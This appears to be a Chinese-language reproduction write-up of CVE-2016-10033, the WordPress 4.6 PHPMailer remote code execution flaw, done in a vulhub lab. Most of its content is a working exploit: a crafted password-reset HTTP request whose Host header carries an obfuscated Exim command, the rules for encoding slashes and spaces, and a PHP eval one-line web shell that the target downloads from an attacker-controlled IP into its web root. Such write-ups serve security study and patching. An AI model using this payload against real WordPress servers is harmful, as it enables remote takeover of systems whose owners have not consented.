WordPress 4.6遠程執行代碼漏洞(PwnScriptum)CVE-2016-10033


0X01 漏洞介紹

WordPress 使用 PHPMailer 組件向用戶發送郵件。PHPMailer(版本 < 5.2.18)存在遠程命令執行漏洞,攻擊者只需巧妙地構造出一個惡意郵箱地址,即可寫入任意文件,造成遠程命令執行的危害。

漏洞利用條件:

不能包含特殊字符

命令需為小寫

命令需使用絕對路徑

需要知道現有用戶名

注意點:命令只在服務器端執行命令、不會顯示在客戶端

0x02 影響版本

WordPress <= 4.6   PHPMailer < 5.2.18

0x03 搭建環境

 vulhub環境

0x04 漏洞復現

漏洞出現在管理員的密碼重置界面/wp-login.php?action=lostpassword:

在找回密碼時WordPress會使用PHPmailer發送重置密碼的郵件,這個時候PHPmailer<=5.2.18時存在RCE

此時在重置密碼處輸入用戶名admin,然后使用BurpSuite抓包攔截,修改host的值:

POST /wp-login.php?action=lostpassword HTTP/1.1

Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}192.168.43.216${substr{0}{1}{$spool_directory}}one.txt}} null)

Connection: close

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0

Accept: */*

Content-Length: 56

Content-Type: application/x-www-form-urlencoded

 

wp-submit=Get+New+Password&redirect_to=&user_login=admin

 

實際利用的過程中還需要注意一下幾點:

1、執行的命令不能包含大量特殊字符比如 :、引號等等。

2、命令會被轉換為小寫字母

3、命令需要使用絕對路徑

4、需要知道一個存在的用戶名,比如admin

攻擊機器開啟web服務,ip/one.txt內容寫入一句話木馬:

<?php @eval($_POST['zksmile'])?>

發送payload使目標靶機下載one.txt,並保存到web根目錄下/var/www/html/shell.php:

aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /var/www/html/shell.php 172.18.0.1/zk/one.txt}} null)

==>

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}172.18.0.1${substr{0}{1}{$spool_directory}}zk${substr{0}{1}{$spool_directory}}one.txt}} null)

payload轉換規則:

1.payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替

2.payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替

 

 

 

 

0x05 修復方案

更新wordpress、phpmailer到最新版本


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM